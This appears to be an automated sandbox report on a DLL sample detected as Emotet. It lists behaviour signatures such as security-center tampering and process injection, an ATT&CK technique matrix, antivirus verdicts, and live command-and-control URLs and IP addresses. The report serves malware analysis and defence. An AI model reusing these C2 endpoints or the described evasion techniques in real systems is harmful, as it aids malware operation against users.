Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000F.00000002.772502910.00000141F0040000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000F.00000002.772556804.00000141F0102000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 4.2.rundll32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.2b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.10d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.4c90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.10d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.4c90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4b80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.2b80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.773000453.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.257029910.00000000010D0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.257963614.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260001868.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.257163144.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.257451642.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.259383580.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.772657336.0000000004B80000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	12 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	36 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	61 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Masquerading	Cached Domain Credentials	3 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	3 Virtualization/Sandbox Evasion	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Regsvr32	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Rundll32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
aew.dll	61%	Virustotal		Browse
aew.dll	31%	Metadefender		Browse
aew.dll	64%	ReversingLabs	Win32.Trojan.Mansabo
aew.dll	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.regsvr32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.regsvr32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.rundll32.exe.4c90000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
2.2.regsvr32.exe.2b80000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
3.2.rundll32.exe.10000000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.regsvr32.exe.4b80000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
4.2.rundll32.exe.10d0000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File

Domains

Source	Detection	Scanner	Label	Link
c-0001.c-msedge.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://crl.ver)	0%	Avira URL Cloud	safe
https://195.154.253.60:8080/6	100%	Avira URL Cloud	malware
https://%s.xboxlive.com	0%	URL Reputation	safe
https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZority	100%	Avira URL Cloud	malware
https://dynamic.t	0%	URL Reputation	safe
https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZ	100%	Avira URL Cloud	malware
https://31.24.158.56:8080/rKfAlq	100%	Avira URL Cloud	malware
https://31.24.158.56:8080/	100%	Avira URL Cloud	malware
https://31.24.158.56:8080/rKfAl	100%	Avira URL Cloud	malware
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
https://209.126.98.206:8080/HhGUXtGlTZuCDlYKbbh	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
c-0001.c-msedge.net	13.107.4.50	true	false	0%, Virustotal, Browse	unknown
store-images.s-microsoft.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315285577.000001F3B6645000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 0000000D.00000002.316342063.000001F3B6669000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.314456838.000001F3B6666000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000D.00000003.314531207.000001F3B6649000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316319052.000001F3B664E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315285577.000001F3B6645000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000006.00000002.613345653.0000020AB9600000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000D.00000003.314800125.000001F3B665C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316326849.000001F3B665D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://195.154.253.60:8080/6	regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000D.00000002.316168558.000001F3B6613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000D.00000002.316307336.000001F3B6642000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315557411.000001F3B6641000.00000004.00000001.00020000.00000000.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000D.00000003.314531207.000001F3B6649000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316319052.000001F3B664E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000D.00000003.292430167.000001F3B6631000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZority	regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000D.00000003.314882419.000001F3B665A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000D.00000002.316326849.000001F3B665D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000D.00000002.316307336.000001F3B6642000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315557411.000001F3B6641000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000D.00000003.315285577.000001F3B6645000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315557411.000001F3B6641000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://195.154.253.60:8080/AVexGzzyiihRagAxeNDZighlOxUpKHuHNrrwdwWUHupnLhwyoqdbNjHCZ	regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000D.00000002.316293427.000001F3B663A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.292430167.000001F3B6631000.00000004.00000001.00020000.00000000.sdmp	false		high
https://31.24.158.56:8080/rKfAlq	regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000D.00000003.314800125.000001F3B665C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316326849.000001F3B665D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://31.24.158.56:8080/	regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://activity.windows.com	svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000D.00000002.316168558.000001F3B6613000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000D.00000003.314619723.000001F3B6660000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://31.24.158.56:8080/rKfAl	regsvr32.exe, 00000005.00000002.772904899.00000000054DC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://%s.dnet.xboxlive.com	svchost.exe, 0000000B.00000002.772385091.000002677F43E000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://209.126.98.206:8080/HhGUXtGlTZuCDlYKbbh	regsvr32.exe, 00000005.00000002.772897029.00000000054D2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000D.00000003.314882419.000001F3B665A000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
159.65.88.10	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
195.154.133.20	unknown	France	12876	OnlineSASFR	true
185.157.82.211	unknown	Poland	42927	S-NET-ASPL	true
79.172.212.216	unknown	Hungary	61998	SZERVERPLEXHU	true
212.237.17.99	unknown	Italy	31034	ARUBA-ASNIT	true
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
162.244.80.68	unknown	United States	19624	SERVERROOMUS	true
119.235.255.201	unknown	Indonesia	45146	RAJASA-AS-ID-APPTRajaSepadanAbadiID	true
51.254.140.238	unknown	France	16276	OVHFR	true
212.24.98.99	unknown	Lithuania	62282	RACKRAYUABRakrejusLT	true
138.185.72.26	unknown	Brazil	264343	EmpasoftLtdaMeBR	true
81.0.236.90	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
153.126.203.229	unknown	Japan	7684	SAKURA-ASAKURAInternetIncJP	true
216.158.226.206	unknown	United States	19318	IS-AS-1US	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
45.118.115.99	unknown	Indonesia	131717	IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID	true
103.75.201.4	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
209.126.98.206	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
195.154.253.60	unknown	France	12876	OnlineSASFR	true
217.182.143.207	unknown	France	16276	OVHFR	true
82.165.152.127	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
107.182.225.142	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
176.56.128.118	unknown	Switzerland	12637	SEEWEBWebhostingcolocationandcloudservicesIT	true
209.15.236.39	unknown	Canada	13768	COGECO-PEER1CA	true
50.116.54.215	unknown	United States	63949	LINODE-APLinodeLLCUS	true
45.118.135.203	unknown	Japan	63949	LINODE-APLinodeLLCUS	true
131.100.24.231	unknown	Brazil	61635	GOPLEXTELECOMUNICACOESEINTERNETLTDA-MEBR	true
46.55.222.11	unknown	Bulgaria	34841	BALCHIKNETBG	true
173.212.193.249	unknown	Germany	51167	CONTABODE	true
178.79.147.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
45.176.232.124	unknown	Colombia	267869	CABLEYTELECOMUNICACIONESDECOLOMBIASASCABLETELCOC	true
162.243.175.63	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
176.104.106.96	unknown	Serbia	198371	NINETRS	true
31.24.158.56	unknown	Spain	50926	INFORTELECOM-ASES	true
50.30.40.196	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
207.38.84.195	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
164.68.99.3	unknown	Germany	51167	CONTABODE	true
103.134.85.85	unknown	Indonesia	139943	IDNIC-GARUTKAB-AS-IDDinasKomunikasidanInformatikaKabupa	true
212.237.56.116	unknown	Italy	31034	ARUBA-ASNIT	true
45.142.114.231	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	true
1.234.2.232	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
203.114.109.124	unknown	Thailand	131293	TOT-LLI-AS-APTOTPublicCompanyLimitedTH	true
159.8.59.82	unknown	United States	36351	SOFTLAYERUS	true
129.232.188.93	unknown	South Africa	37153	xneeloZA	true
58.227.42.236	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
158.69.222.101	unknown	Canada	16276	OVHFR	true
178.128.83.165	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	581892
Start date:	02.03.2022
Start time:	19:56:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	aew.ocx (renamed file extension from ocx to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@25/8@1/48
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 97.4%) Quality average: 84.2% Quality standard deviation: 24.1%
HCA Information:	Successful, ratio: 99% Number of executed functions: 45 Number of non-executed functions: 251
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.35.236.56, 67.26.81.254, 67.26.73.254, 8.252.5.126, 8.248.143.254, 8.241.126.121
Excluded domains from analysis (whitelisted): e12564.dspb.akamaiedge.net, client.wns.windows.com, fg.download.windowsupdate.com.c.footprint.net, fs.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, wu-bg-shim.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:57:20	API Interceptor	3x Sleep call for process: svchost.exe modified
19:58:38	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
159.65.88.10	Payment Status.xlsm	Get hash	malicious	Browse
	43-4817.xlsm	Get hash	malicious	Browse
	KvbrgCqCHX.dll	Get hash	malicious	Browse
	RQE0igAxTz.dll	Get hash	malicious	Browse
	ULZTQGyuce.dll	Get hash	malicious	Browse
	aSLf5ALc7R.dll	Get hash	malicious	Browse
	eBooks.xlsm	Get hash	malicious	Browse
	Form - 02 Mar, 2022.xlsm	Get hash	malicious	Browse
	Invoice for payment.xlsm	Get hash	malicious	Browse
	Opast International.xlsm	Get hash	malicious	Browse
	ommegaonline.org_1.xlsm	Get hash	malicious	Browse
	RlOx1RYwMeKbaxTlG4z3n5s1FKbBPaxQLCh.dll	Get hash	malicious	Browse
	Form.xlsm	Get hash	malicious	Browse
	innovinc.org.xlsm	Get hash	malicious	Browse
	RechnungScan_02_03_2022.xlsm	Get hash	malicious	Browse
	2022-03-02_1703.xlsm	Get hash	malicious	Browse
	2022-03-02_1706.xlsm	Get hash	malicious	Browse
	check copy.xlsm	Get hash	malicious	Browse
	check.xlsm	Get hash	malicious	Browse
	copy payment.xlsm	Get hash	malicious	Browse
195.154.133.20	Payment Status.xlsm	Get hash	malicious	Browse
	43-4817.xlsm	Get hash	malicious	Browse
	KvbrgCqCHX.dll	Get hash	malicious	Browse
	RQE0igAxTz.dll	Get hash	malicious	Browse
	ULZTQGyuce.dll	Get hash	malicious	Browse
	aSLf5ALc7R.dll	Get hash	malicious	Browse
	eBooks.xlsm	Get hash	malicious	Browse
	Form - 02 Mar, 2022.xlsm	Get hash	malicious	Browse
	Invoice for payment.xlsm	Get hash	malicious	Browse
	Opast International.xlsm	Get hash	malicious	Browse
	ommegaonline.org_1.xlsm	Get hash	malicious	Browse
	RlOx1RYwMeKbaxTlG4z3n5s1FKbBPaxQLCh.dll	Get hash	malicious	Browse
	Form.xlsm	Get hash	malicious	Browse
	innovinc.org.xlsm	Get hash	malicious	Browse
	RechnungScan_02_03_2022.xlsm	Get hash	malicious	Browse
	2022-03-02_1703.xlsm	Get hash	malicious	Browse
	2022-03-02_1706.xlsm	Get hash	malicious	Browse
	check copy.xlsm	Get hash	malicious	Browse
	check.xlsm	Get hash	malicious	Browse
	copy payment.xlsm	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
c-0001.c-msedge.net	eBooks.xlsm	Get hash	malicious	Browse	13.107.4.50
	ommegaonline.org_1.xlsm	Get hash	malicious	Browse	13.107.4.50
	2022-03-02_1706.xlsm	Get hash	malicious	Browse	13.107.4.50
	2022-03-02_1031.xlsm	Get hash	malicious	Browse	13.107.4.50
	QoupG1F7dMBrQ8F6.dll	Get hash	malicious	Browse	13.107.4.50
	txKriEDhPv.dll	Get hash	malicious	Browse	13.107.4.50
	30paz91g7u.dll	Get hash	malicious	Browse	13.107.4.50
	DHL.exe	Get hash	malicious	Browse	13.107.4.50
	3907301615343637.xlsm	Get hash	malicious	Browse	13.107.4.50
	7FE7BAA9D94227C8DCF5722E21E7505F22F3958097F3D.exe	Get hash	malicious	Browse	13.107.4.50
	rtF2lRr7U7.dll	Get hash	malicious	Browse	13.107.4.50
	olh8FpGmKW.dll	Get hash	malicious	Browse	13.107.4.50
	29Rz8b8SQE.dll	Get hash	malicious	Browse	13.107.4.50
	RsCVu8mePG.dll	Get hash	malicious	Browse	13.107.4.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OnlineSASFR	Payment Status.xlsm	Get hash	malicious	Browse	195.154.253.60
	GerlOfrlka.dll	Get hash	malicious	Browse	195.154.146.35
	g8XR3QJEGy.dll	Get hash	malicious	Browse	195.154.146.35
	GerlOfrlka.dll	Get hash	malicious	Browse	195.154.146.35
	g8XR3QJEGy.dll	Get hash	malicious	Browse	195.154.146.35
	sVI2bxJ0qq.dll	Get hash	malicious	Browse	195.154.146.35
	EWuiJ5hR6r.dll	Get hash	malicious	Browse	195.154.146.35
	es5bnMRkMX.dll	Get hash	malicious	Browse	195.154.146.35
	dR3Zf1x8k9.dll	Get hash	malicious	Browse	195.154.146.35
	kHARo6LuwO.dll	Get hash	malicious	Browse	195.154.146.35
	43-4817.xlsm	Get hash	malicious	Browse	195.154.253.60
	85hZIQ6ohF.dll	Get hash	malicious	Browse	195.154.146.35
	F8uEw79Esi.dll	Get hash	malicious	Browse	195.154.146.35
	kHARo6LuwO.dll	Get hash	malicious	Browse	195.154.146.35
	Y9OmKQ0fSF.dll	Get hash	malicious	Browse	195.154.146.35
	NTfdYazZrR.dll	Get hash	malicious	Browse	195.154.146.35
	Uq5mdFn7Hn.dll	Get hash	malicious	Browse	195.154.146.35
	Uq5mdFn7Hn.dll	Get hash	malicious	Browse	195.154.146.35
	KvbrgCqCHX.dll	Get hash	malicious	Browse	195.154.133.20
	FcjmbIqItK.dll	Get hash	malicious	Browse	195.154.146.35
DIGITALOCEAN-ASNUS	Payment Status.xlsm	Get hash	malicious	Browse	178.128.83.165
	GerlOfrlka.dll	Get hash	malicious	Browse	128.199.192.135
	g8XR3QJEGy.dll	Get hash	malicious	Browse	128.199.192.135
	GerlOfrlka.dll	Get hash	malicious	Browse	128.199.192.135
	g8XR3QJEGy.dll	Get hash	malicious	Browse	128.199.192.135
	sVI2bxJ0qq.dll	Get hash	malicious	Browse	128.199.192.135
	EWuiJ5hR6r.dll	Get hash	malicious	Browse	128.199.192.135
